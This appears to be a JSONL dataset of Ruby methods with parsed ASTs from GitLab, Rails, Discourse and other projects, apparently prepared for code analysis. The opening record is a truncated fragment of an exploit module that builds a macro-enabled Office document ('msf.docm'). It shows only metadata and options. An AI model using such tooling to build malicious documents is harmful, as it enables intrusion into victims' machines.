(Python)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"python\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PYTHON\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-01-10\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"CUSTOMTEMPLATE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A docx file that will be used as a template to build the exploit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"macro_resource_directory\"]},{\"type\":\"str\",\"children\":[\"template.docx\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Office document macro file (docm)\"]},{\"type\":\"str\",\"children\":[\"msf.docm\"]}]}]}]}]}]}]}","id":"b4c8f248-dfda-4450-a205-a118918cdbd5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/import_export/parallel_export_service.rb","start_line":40,"raw_source":"def exporters\n        [version_saver, exported_relations_merger]\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exporters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_saver\"]},{\"type\":\"send\",\"children\":[null,\"exported_relations_merger\"]}]}]}","id":"42122c65-fe4c-40bb-b6c6-9b4a4c2253a8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb","start_line":1096,"raw_source":"def change_column_for_alter(table_name, column_name, type, **options)\n            change_col_def = build_change_column_definition(table_name, column_name, type, **options)\n            sqls = [schema_creation.accept(change_col_def)]\n            sqls << Proc.new { change_column_comment(table_name, column_name, options[:comment]) } if options.key?(:comment)\n            sqls\n          end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"change_column_for_alter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"column_name\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"change_col_def\",{\"type\":\"send\",\"children\":[null,\"build_change_column_definition\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"column_name\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sqls\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_creation\"]},\"accept\",{\"type\":\"lvar\",\"children\":[\"change_col_def\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"comment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sqls\"]},\"<<\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"change_column_comment\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"column_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"comment\"]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"sqls\"]}]}]}","id":"2f4be4dc-24de-4a9e-9da9-aef88797221c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/app/serializers/channel_serializer.rb","start_line":8,"raw_source":"def rules\n    object.rules.order_by_precedence.map do |rule|\n      DiscourseChatIntegration::RuleSerializer.new(rule, root: false)\n    end\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"rules\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"rules\"]},\"order_by_precedence\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rule\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"RuleSerializer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"rule\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"37cf25ff-bd32-48d3-9ac8-176073c19abd"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/app/models/discourse_post_event/event.rb","start_line":394,"raw_source":"def update_with_params!(params)\n      case params[:status] ? params[:status].to_i : self.status\n      when Event.statuses[:private]\n        if params.key?(:raw_invitees)\n          params = params.merge(raw_invitees: Array(params[:raw_invitees]) - [PUBLIC_GROUP])\n        else\n          params = params.merge(raw_invitees: Array(self.raw_invitees) - [PUBLIC_GROUP])\n        end\n        self.update!(params)\n        self.enforce_private_invitees!\n      when Event.statuses[:public]\n        self.update!(params.merge(raw_invitees: [PUBLIC_GROUP]))\n      when Event.statuses[:standalone]\n        self.update!(params.merge(raw_invitees: []))\n        self.invitees.destroy_all\n      end\n\n      self.publish_update!\n    end","complexity_score":46.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_with_params!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"status\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"statuses\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"raw_invitees\"]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw_invitees\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"raw_invitees\"]}]}]},\"-\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PUBLIC_GROUP\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw_invitees\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"raw_invitees\"]}]},\"-\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PUBLIC_GROUP\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update!\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enforce_private_invitees!\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"statuses\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"public\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw_invitees\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PUBLIC_GROUP\"]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"statuses\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"standalone\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw_invitees\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"invitees\"]},\"destroy_all\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"publish_update!\"]}]}]}","id":"f8fd7932-8d51-4673-b3eb-729aaf6986a2"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/conditional_assignment.rb","start_line":538,"raw_source":"def correction(node)\n            \"#{lhs(node.if_branch)}#{ternary(node)}\"\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"correction\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lhs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_branch\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ternary\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"bb607e64-e44c-419e-8489-bb2a3732d888"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/billboard.rb","start_line":351,"raw_source":"def style_string\n    return \"\" if color.blank?\n\n    if placement_area.include?(\"fixed_\")\n      \"border-top: calc(9px + 0.5vw) solid #{color}\"\n    else\n      \"border: 5px solid #{color}\"\n    end\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"style_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"color\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"placement_area\"]},\"include?\",{\"type\":\"str\",\"children\":[\"fixed_\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"border-top: calc(9px + 0.5vw) solid \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"color\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"border: 5px solid \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"color\"]}]}]}]}]}]}","id":"72497b1a-a36e-4f8e-96e5-4f2fe5e58227"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/module/attr_internal.rb","start_line":25,"raw_source":"def attr_internal_naming_format=(format)\n      if format.start_with?(\"@\")\n        raise ArgumentError, <<~MESSAGE.squish\n          Setting `attr_internal_naming_format` with a `@` prefix is not supported.\n\n          You can simply replace #{format.inspect} by #{format.delete_prefix(\"@\").inspect}.\n        MESSAGE\n      end\n\n      @attr_internal_naming_format = format\n    end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"attr_internal_naming_format=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"@\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Setting `attr_internal_naming_format` with a `@` prefix is not supported.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"You can simply replace \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" by \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"delete_prefix\",{\"type\":\"str\",\"children\":[\"@\"]}]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\".\\n\"]}]},\"squish\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@attr_internal_naming_format\",{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]}","id":"83e2660e-1d19-4780-a9d9-9163b4ad68c3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/ci/daily_build_group_report_results_controller.rb","start_line":63,"raw_source":"def safe_params\n    params.permit(:start_date, :end_date, :ref_path, :param_type)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"safe_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"start_date\"]},{\"type\":\"sym\",\"children\":[\"end_date\"]},{\"type\":\"sym\",\"children\":[\"ref_path\"]},{\"type\":\"sym\",\"children\":[\"param_type\"]}]}]}","id":"061a2f1f-a44b-4e02-85fd-9529c4b7f585"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/decompressed_gzip_size_validator.rb","start_line":22,"raw_source":"def validate\n        pgrps = nil\n        valid_archive = true\n\n        validate_archive_path\n\n        Timeout.timeout(TIMEOUT_LIMIT) do\n          stderr_r, stderr_w = IO.pipe\n          stdout, wait_threads = Open3.pipeline_r(*command, pgroup: true, err: stderr_w)\n\n          # When validation is performed on a small archive (e.g. 100 bytes)\n          # `wait_thr` finishes before we can get process group id. Do not\n          # raise exception in this scenario.\n          pgrps = wait_threads.map do |wait_thr|\n            Process.getpgid(wait_thr[:pid])\n          rescue Errno::ESRCH\n            nil\n          end\n          pgrps.compact!\n\n          status = wait_threads.last.value\n\n          if status.success?\n            result = stdout.readline\n\n            valid_archive = false if result.to_i > max_bytes\n          else\n            valid_archive = false\n          end\n\n        ensure\n          stdout.close\n          stderr_w.close\n          stderr_r.close\n        end\n\n        valid_archive\n      rescue StandardError\n        pgrps.each { |pgrp| Process.kill(-1, pgrp) } if pgrps\n\n        false\n      end","complexity_score":59.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pgrps\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"valid_archive\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"validate_archive_path\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"timeout\",{\"type\":\"const\",\"children\":[null,\"TIMEOUT_LIMIT\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stderr_r\"]},{\"type\":\"lvasgn\",\"children\":[\"stderr_w\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"pipe\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stdout\"]},{\"type\":\"lvasgn\",\"children\":[\"wait_threads\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Open3\"]},\"pipeline_r\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pgroup\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"err\"]},{\"type\":\"lvar\",\"children\":[\"stderr_w\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pgrps\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait_threads\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wait_thr\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"getpgid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait_thr\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pid\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ESRCH\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pgrps\"]},\"compact!\"]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait_threads\"]},\"last\"]},\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"success?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stdout\"]},\"readline\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"to_i\"]},\">\",{\"type\":\"send\",\"children\":[null,\"max_bytes\"]}]},{\"type\":\"lvasgn\",\"children\":[\"valid_archive\",{\"type\":\"false\",\"children\":[]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"valid_archive\",{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stdout\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stderr_w\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stderr_r\"]},\"close\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"valid_archive\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pgrps\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pgrps\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pgrp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"kill\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"lvar\",\"children\":[\"pgrp\"]}]}]},null]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"b726cc22-4715-41c1-821a-67ccc67c2b1e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240408135326_remove_foreign_keys_from_external_approval_rules_protected_branches.rb","start_line":14,"raw_source":"def down\n    add_concurrent_foreign_key :external_approval_rules_protected_branches,\n      :external_approval_rules, column: :external_approval_rule_id, on_delete: :cascade\n    add_concurrent_foreign_key :external_approval_rules_protected_branches,\n      :protected_branches, column: :protected_branch_id, on_delete: :cascade\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"sym\",\"children\":[\"external_approval_rules_protected_branches\"]},{\"type\":\"sym\",\"children\":[\"external_approval_rules\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"external_approval_rule_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"sym\",\"children\":[\"external_approval_rules_protected_branches\"]},{\"type\":\"sym\",\"children\":[\"protected_branches\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"protected_branch_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]}","id":"f2e21fd2-59a0-41c1-b8e2-3724c4f3c19b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb","start_line":191,"raw_source":"def concurrent_partitioned_foreign_key_name(table, column, prefix: 'fk_rails_')\n          identifier = \"#{table}_#{column}_fk\"\n          hashed_identifier = Digest::SHA256.hexdigest(identifier).first(10)\n\n          \"#{prefix}#{hashed_identifier}\"\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"concurrent_partitioned_foreign_key_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"kwoptarg\",\"children\":[\"prefix\",{\"type\":\"str\",\"children\":[\"fk_rails_\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"identifier\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]}]},{\"type\":\"str\",\"children\":[\"_fk\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hashed_identifier\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]},\"first\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hashed_identifier\"]}]}]}]}]}","id":"ee8ecacf-0ef1-46e7-b195-cf9d7ab3dd93"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/enterprise_token.rb","start_line":160,"raw_source":"def token_object\n    load_token! unless defined?(@token_object)\n    @token_object\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"token_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@token_object\"]}]},null,{\"type\":\"send\",\"children\":[null,\"load_token!\"]}]},{\"type\":\"ivar\",\"children\":[\"@token_object\"]}]}]}","id":"95058377-359c-4cf8-874d-c04deaccb677"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/dialects/chat_gpt.rb","start_line":36,"raw_source":"def max_prompt_tokens\n          # provide a buffer of 120 tokens - our function counting is not\n          # 100% accurate and getting numbers to align exactly is very hard\n          buffer = (opts[:max_tokens] || 2500) + 50\n\n          if tools.present?\n            # note this is about 100 tokens over, OpenAI have a more optimal representation\n            @function_size ||= llm_model.tokenizer_class.size(tools.to_json.to_s)\n            buffer += @function_size\n          end\n\n          llm_model.max_prompt_tokens - buffer\n        end","complexity_score":26.03,"ast_json":"{\"type\":\"def\",\"children\":[\"max_prompt_tokens\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buffer\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_tokens\"]}]},{\"type\":\"int\",\"children\":[2500]}]}]},\"+\",{\"type\":\"int\",\"children\":[50]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tools\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@function_size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm_model\"]},\"tokenizer_class\"]},\"size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tools\"]},\"to_json\"]},\"to_s\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buffer\"]},\"+\",{\"type\":\"ivar\",\"children\":[\"@function_size\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm_model\"]},\"max_prompt_tokens\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"buffer\"]}]}]}]}","id":"081582d0-4974-4dad-82a8-97920593ade0"}
